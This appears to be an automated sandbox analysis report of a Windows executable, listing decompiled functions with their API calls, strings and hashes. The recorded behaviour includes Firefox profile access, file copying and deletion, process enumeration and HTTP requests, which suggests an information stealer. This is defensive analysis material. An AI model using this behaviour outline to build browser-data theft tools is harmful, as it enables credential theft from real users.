SetEnvironmentVariableA.KERNEL32(0265CBB8,00000000,00000000,?,00421290,?,0040FF93,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AE6), ref: 0040A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A002, 0040A016, 0040A02C

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: a6ed7959de25b79cdb3bb5cb1e9ff1b97d18116cea63182b13b5717ab70b1157
Instruction ID: 756634b6078292b8205bba75648758324288abb3cd7bb3e0efd9893355994f5a
Opcode Fuzzy Hash: a6ed7959de25b79cdb3bb5cb1e9ff1b97d18116cea63182b13b5717ab70b1157
Instruction Fuzzy Hash: 8D41E471804604AFC724EFB4EC56BAE3776BF48324F15512EF405A32A0D7B85986CB97

Function 0040A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02659800,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A231
lstrlenA.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000,00000000), ref: 0040A32D
DeleteFileA.KERNEL32(00000000), ref: 0040A671

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID:
API String ID: 3258613111-0
Opcode ID: 93297ad6272cd16adc9d292151f48b266fe47b96a9e60ae0593d7d1b0afacd58
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: 93297ad6272cd16adc9d292151f48b266fe47b96a9e60ae0593d7d1b0afacd58
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02659800,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D641
lstrlenA.KERNEL32(00000000), ref: 0040D7DF
lstrlenA.KERNEL32(00000000), ref: 0040D7F3
DeleteFileA.KERNEL32(00000000), ref: 0040D872

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 6f19deda866c130ab14035ff15a9bdff2603cbc051bfaf155d87e19a9f4097f0
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: 6f19deda866c130ab14035ff15a9bdff2603cbc051bfaf155d87e19a9f4097f0
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421524,00420D7A), ref: 0040F38C
lstrlenA.KERNEL32(00000000), ref: 0040F3AB

Strings

moz-extension+++, xrefs: 0040F3ED
^userContextId=4294967295, xrefs: 0040F3DC

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: 85423c3c242042876a530643f9dd54465e4553440514c6f4521d5ac1c91b2fd3
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: 85423c3c242042876a530643f9dd54465e4553440514c6f4521d5ac1c91b2fd3
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 00418120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Process32First.KERNEL32(?,00000128), ref: 0041817E
Process32Next.KERNEL32(?,00000128), ref: 00418193

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindCloseChangeNotification.KERNEL32(?), ref: 00418201

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 56a5cc5f625808877023b0fd7aaa37bf15a2ec62f2c2cab451d14b7958c2b5f4
Instruction ID: 6084a3a81ad9197a86b05fcc5bdad381a42aa545a74b9a2169b69cd5b8afd334
Opcode Fuzzy Hash: 56a5cc5f625808877023b0fd7aaa37bf15a2ec62f2c2cab451d14b7958c2b5f4
Instruction Fuzzy Hash: 8E319E71902218ABCB24EF95DC45FEEB778EF04710F10419EE50AA21A0DF386E85CFA5

Function 00416593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02655988,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,02655988,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

Function 00414CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,0267B010), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,0267AEF0,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Strings

ERROR, xrefs: 00414D53
ERROR, xrefs: 00414CFA

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: fcfc9adfdaedd3e3ecc1fdb0cc1e4f1165b7b61b36a78a08fac5a222e1521bc0
Instruction ID: 9b7a9698bb488a37f3de611b15de8acf20b28e6af01427a962a44d236a29daab
Opcode Fuzzy Hash: fcfc9adfdaedd3e3ecc1fdb0cc1e4f1165b7b61b36a78a08fac5a222e1521bc0
Instruction Fuzzy Hash: 7F113330901108B7CB14FF61DC56AED7338AF50354F90816EF80B5A5A2EF786B95C75A

Function 00414A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414A5A
lstrcat.KERNEL32(?,00421040), ref: 00414A77
lstrcat.KERNEL32(?,0265C928), ref: 00414A8B
lstrcat.KERNEL32(?,00421044), ref: 00414A9D

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: d9a7bb441cace2264c65b2c89e45308c98edaaf84c68a629cbd2b1765e33ed5e
Instruction ID: 8dbf70b05384144c92fb0b395b2fe843caac1dc39a8cdd365ca80c12b48963c0
Opcode Fuzzy Hash: d9a7bb441cace2264c65b2c89e45308c98edaaf84c68a629cbd2b1765e33ed5e
Instruction Fuzzy Hash: B6214F76A002086BC724FBA0EC42EDD373DAF94304F40845EB94A571D1EE7856C98BA5

Function 00414690 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004146CA
lstrcat.KERNEL32(?,02679B80), ref: 004146E8

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,0265C8A8), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144E7

Strings

5\A, xrefs: 0041470F, 00414744, 0041477A, 004147AF, 004147E5, 0041481A, 0041483F, 00414712, 00414747, 0041477D, 004147B2, 004147E8, 0041481D

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 5\A
API String ID: 2104210347-3392445751
Opcode ID: e73a277ec495b34ed2bd4af22877a3a9feb46bd0b7d201f2f977525177bc6704
Instruction ID: 53e7b7cde32fa2def73dba0ef3da04c4d4f6f11e0d96676858e1097c5765331f
Opcode Fuzzy Hash: e73a277ec495b34ed2bd4af22877a3a9feb46bd0b7d201f2f977525177bc6704
Instruction Fuzzy Hash: 1441EBB660010467CB64FB64EC83EEE333DAB84304F40855EB94997191ED795ACD8BE6

Function 00417380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
